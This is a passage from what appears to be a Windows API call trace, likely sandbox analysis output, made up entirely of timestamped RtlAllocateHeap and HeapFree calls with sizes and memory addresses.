Flags=0x0, Size=0x42) returned 0xe0a4e8 [0189.920] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe09f68 [0189.920] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3c) returned 0xe0a538 [0189.920] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe09f80 [0189.920] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x46) returned 0xe0a580 [0189.920] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe09f98 [0189.920] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x40) returned 0xe0a5d0 [0189.920] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe09fb0 [0189.920] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe0a618 [0189.920] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe09fc8 [0189.920] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe0a670 [0189.920] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe09fe0 [0189.920] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe0b658 [0189.920] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe09ff8 [0189.921] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe0b6a8 [0189.921] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0a010 [0189.921] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3a) returned 0xe0be90 [0189.921] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0a028 [0189.921] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe0a6b0 [0189.921] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0a040 [0189.921] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe0a6f0 [0189.921] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0a058 [0189.921] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x44) returned 0xe0bed8 [0189.921] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0a070 [0189.921] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x44) returned 0xe0bf28 [0189.921] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0a088 [0189.921] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x44) returned 0xe0bf78 [0189.921] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0a0a0 [0189.921] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x44) returned 0xe0bfc8 [0189.923] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0a0b8 [0189.923] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe0a730 [0189.923] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0a0d0 [0189.923] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe0b6e0 [0189.923] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0a0e8 [0189.923] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe0b718 [0189.923] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0a100 [0189.923] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x48) returned 0xe0c018 [0189.924] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0a118 [0189.924] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x44) returned 0xe0c068 [0189.924] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0a130 [0189.924] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x32) returned 0xe0a770 [0189.924] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0a148 [0189.924] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x32) returned 0xe0a7b0 [0189.924] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0a160 [0189.924] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe0b750 [0189.924] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0a178 [0189.924] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3a) returned 0xe0c0b8 [0189.924] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0a190 [0189.924] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe0a7f0 [0189.924] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0a1a8 [0189.924] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3a) returned 0xe0c118 [0189.924] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0a1c0 [0189.924] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x26) returned 0xe0d100 [0189.924] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0a1d8 [0189.925] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe0a830 [0189.925] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0a1f0 [0189.925] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe0a870 [0189.925] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0a208 [0189.925] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3a) returned 0xe0c160 [0189.925] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0d148 [0189.925] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x44) returned 0xe0d530 [0189.925] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0d160 [0189.925] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4a) returned 0xe0d580 [0189.925] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0d178 [0189.925] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x48) returned 0xe0d5d8 [0189.925] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0d190 [0189.925] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x50) returned 0xe0d628 [0189.925] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0d1a8 [0189.925] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x56) returned 0xe0d680 [0189.925] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0d1c0 [0189.925] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x52) returned 0xe0d6e0 [0189.925] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0d1d8 [0189.925] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x52) returned 0xe0d740 [0189.925] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0d1f0 [0189.925] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4a) returned 0xe0d7a0 [0189.925] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0d208 [0189.925] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x44) returned 0xe0d7f8 [0189.925] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0d220 [0189.925] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x62) returned 0xe0d848 [0189.926] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0d238 [0189.926] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4e) returned 0xe0d8b8 [0189.926] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0d250 [0189.926] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4c) returned 0xe0d910 [0189.926] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0d268 [0189.926] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x22) returned 0xe0d968 [0189.926] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0d280 [0189.926] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe0b788 [0189.926] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0d298 [0189.926] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x48) returned 0xe0d9b0 [0189.927] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0d2b0 [0189.927] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x42) returned 0xe0da00 [0189.927] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0d2c8 [0189.927] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe0b7c0 [0189.927] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0d2e0 [0189.927] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe0b7f8 [0189.927] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0d2f8 [0189.927] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x46) returned 0xe0da50 [0189.927] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0d310 [0189.927] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x40) returned 0xe0c1a8 [0189.927] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0d328 [0189.927] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x50) returned 0xe0e998 [0189.927] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0d340 [0189.927] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4c) returned 0xe0e9f0 [0189.927] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0d358 [0189.927] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x50) returned 0xe0ea48 [0189.927] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0d370 [0189.927] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x4c) returned 0xe0eaa0 [0189.927] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0d388 [0189.928] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x48) returned 0xe0daa0 [0189.928] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0d3a0 [0189.928] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x42) returned 0xe0daf0 [0189.928] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0d3b8 [0189.928] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x44) returned 0xe0db40 [0189.928] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0d3d0 [0189.928] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3e) returned 0xe0c1f0 [0189.928] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0d3e8 [0189.928] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x30) returned 0xe0b830 [0189.928] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0d400 [0189.928] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe0b868 [0189.928] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0d418 [0189.928] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2a) returned 0xe0b8a0 [0189.928] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0d430 [0189.928] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x28) returned 0xe0eaf8 [0189.928] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0d448 [0189.928] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2c) returned 0xe0b8d8 [0189.928] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0d460 [0189.928] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe0a8b0 [0189.928] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0d478 [0189.928] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe0a8f0 [0189.928] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0d490 [0189.928] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3e) returned 0xe0c238 [0189.928] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0d4a8 [0189.928] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x40) returned 0xe0c280 [0189.928] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0d4c0 [0189.928] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x44) returned 0xe0db90 [0189.928] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0d4d8 [0189.928] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x48) returned 0xe0dbe0 [0189.929] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0d4f0 [0189.929] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x38) returned 0xe0a930 [0189.929] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0d508 [0189.929] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x34) returned 0xe0a970 [0189.929] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0eb40 [0189.929] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3a) returned 0xe0c2c8 [0189.929] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0eb58 [0189.929] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x40) returned 0xe0c310 [0189.929] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0eb70 [0189.929] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x36) returned 0xe0a9b0 [0189.929] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0eb88 [0189.929] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x38) returned 0xe0a9f0 [0189.929] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0eba0 [0189.929] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x3a) returned 0xe0c358 [0189.929] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0ebb8 [0189.929] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x28) returned 0xe0ef28 [0189.929] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0ebd0 [0189.929] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2e) returned 0xe0b910 [0189.929] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe0ebe8 [0189.930] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe166f0 | out: hHeap=0x3b0000) returned 1 [0189.930] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14d08 | out: hHeap=0x3b0000) returned 1 [0189.931] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c2a8 | out: hHeap=0x3b0000) returned 1 [0189.931] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c290 | out: hHeap=0x3b0000) returned 1 [0189.931] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf360 | out: hHeap=0x3b0000) returned 1 [0189.931] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c2c0 | out: hHeap=0x3b0000) returned 1 [0189.931] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14d30 | out: hHeap=0x3b0000) returned 1 [0189.931] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1a170 | out: hHeap=0x3b0000) returned 1 [0189.931] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14390 | out: hHeap=0x3b0000) returned 1 [0189.931] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c2a8 | out: hHeap=0x3b0000) returned 1 [0189.931] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c2c0 | out: hHeap=0x3b0000) returned 1 [0189.931] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf360 | out: hHeap=0x3b0000) returned 1 [0189.931] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c2d8 | out: hHeap=0x3b0000) returned 1 [0189.931] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe143c8 | out: hHeap=0x3b0000) returned 1 [0189.931] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1a170 | out: hHeap=0x3b0000) returned 1 [0189.931] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe143c8 | out: hHeap=0x3b0000) returned 1 [0189.931] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c2a8 | out: hHeap=0x3b0000) returned 1 [0189.931] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c2d8 | out: hHeap=0x3b0000) returned 1 [0189.931] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf360 | out: hHeap=0x3b0000) returned 1 [0189.931] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c2f0 | out: hHeap=0x3b0000) returned 1 [0189.931] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14400 | out: hHeap=0x3b0000) returned 1 [0189.931] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1a170 | out: hHeap=0x3b0000) returned 1 [0189.931] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1b390 | out: hHeap=0x3b0000) returned 1 [0189.931] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c2a8 | out: hHeap=0x3b0000) returned 1 [0189.931] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c2f0 | out: hHeap=0x3b0000) returned 1 [0189.932] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf360 | out: hHeap=0x3b0000) returned 1 [0189.932] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c308 | out: hHeap=0x3b0000) returned 1 [0189.932] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1b3d0 | out: hHeap=0x3b0000) returned 1 [0189.932] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe166f0 | out: hHeap=0x3b0000) returned 1 [0189.932] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14d30 | out: hHeap=0x3b0000) returned 1 [0189.932] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf380 | out: hHeap=0x3b0000) returned 1 [0189.932] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf360 | out: hHeap=0x3b0000) returned 1 [0189.932] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf360 | out: hHeap=0x3b0000) returned 1 [0189.932] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf370 | out: hHeap=0x3b0000) returned 1 [0189.932] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14d58 | out: hHeap=0x3b0000) returned 1 [0189.932] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd770 | out: hHeap=0x3b0000) returned 1 [0189.932] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd770 | out: hHeap=0x3b0000) returned 1 [0189.932] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf380 | out: hHeap=0x3b0000) returned 1 [0189.932] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf370 | out: hHeap=0x3b0000) returned 1 [0189.932] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd690 | out: hHeap=0x3b0000) returned 1 [0189.932] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf370 | out: hHeap=0x3b0000) returned 1 [0189.932] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf390 | out: hHeap=0x3b0000) returned 1 [0189.932] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd790 | out: hHeap=0x3b0000) returned 1 [0189.932] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14400 | out: hHeap=0x3b0000) returned 1 [0189.932] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14d58 | out: hHeap=0x3b0000) returned 1 [0189.932] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c2a8 | out: hHeap=0x3b0000) returned 1 [0189.932] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c308 | out: hHeap=0x3b0000) returned 1 [0189.932] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf390 | out: hHeap=0x3b0000) returned 1 [0189.933] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c320 | out: hHeap=0x3b0000) returned 1 [0189.933] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14d80 | out: hHeap=0x3b0000) returned 1 [0189.933] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14400 | out: hHeap=0x3b0000) returned 1 [0189.933] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe16720 | out: hHeap=0x3b0000) returned 1 [0189.933] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c2a8 | out: hHeap=0x3b0000) returned 1 [0189.933] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c320 | out: hHeap=0x3b0000) returned 1 [0189.933] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf390 | out: hHeap=0x3b0000) returned 1 [0189.933] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c338 | out: hHeap=0x3b0000) returned 1 [0189.933] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe16750 | out: hHeap=0x3b0000) returned 1 [0189.933] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1b3d0 | out: hHeap=0x3b0000) returned 1 [0189.933] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe16750 | out: hHeap=0x3b0000) returned 1 [0189.933] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c2a8 | out: hHeap=0x3b0000) returned 1 [0189.933] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c338 | out: hHeap=0x3b0000) returned 1 [0189.933] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf390 | out: hHeap=0x3b0000) returned 1 [0189.933] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c350 | out: hHeap=0x3b0000) returned 1 [0189.933] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe16780 | out: hHeap=0x3b0000) returned 1 [0189.933] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1b3d0 | out: hHeap=0x3b0000) returned 1 [0189.933] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14400 | out: hHeap=0x3b0000) returned 1 [0189.933] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c2a8 | out: hHeap=0x3b0000) returned 1 [0189.933] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c350 | out: hHeap=0x3b0000) returned 1 [0189.933] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf390 | out: hHeap=0x3b0000) returned 1 [0189.933] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c368 | out: hHeap=0x3b0000) returned 1 [0189.933] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14438 | out: hHeap=0x3b0000) returned 1 [0189.933] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe16780 | out: hHeap=0x3b0000) returned 1 [0189.934] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd810 | out: hHeap=0x3b0000) returned 1 [0189.934] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c2a8 | out: hHeap=0x3b0000) returned 1 [0189.934] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c368 | out: hHeap=0x3b0000) returned 1 [0189.934] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe166f0 | out: hHeap=0x3b0000) returned 1 [0189.934] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf390 | out: hHeap=0x3b0000) returned 1 [0189.934] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe1c380 | out: hHeap=0x3b0000) returned 1 [0189.934] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bd830 | out: hHeap=0x3b0000) returned 1 [0189.934] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe166f0 | out: hHeap=0x3b0000) returned 1 [0189.934] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe166f0 | out: hHeap=0x3b0000) returned 1 [0189.934] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf380 | out: hHeap=0x3b0000) returned 1 [0189.934] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf390 | out: hHeap=0x3b0000) returned 1 [0189.934] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf390 | out: hHeap=0x3b0000) returned 1 [0189.934] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf3a0 | out: hHeap=0x3b0000) returned 1 [0189.934] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe16780 | out: hHeap=0x3b0000) returned 1 [0189.934] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe16780 | out: hHeap=0x3b0000) returned 1 [0189.934] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe16780 | out: hHeap=0x3b0000) returned 1 [0189.934] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf380 | out: hHeap=0x3b0000) returned 1 [0189.934] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0x3bf3a0 | out: 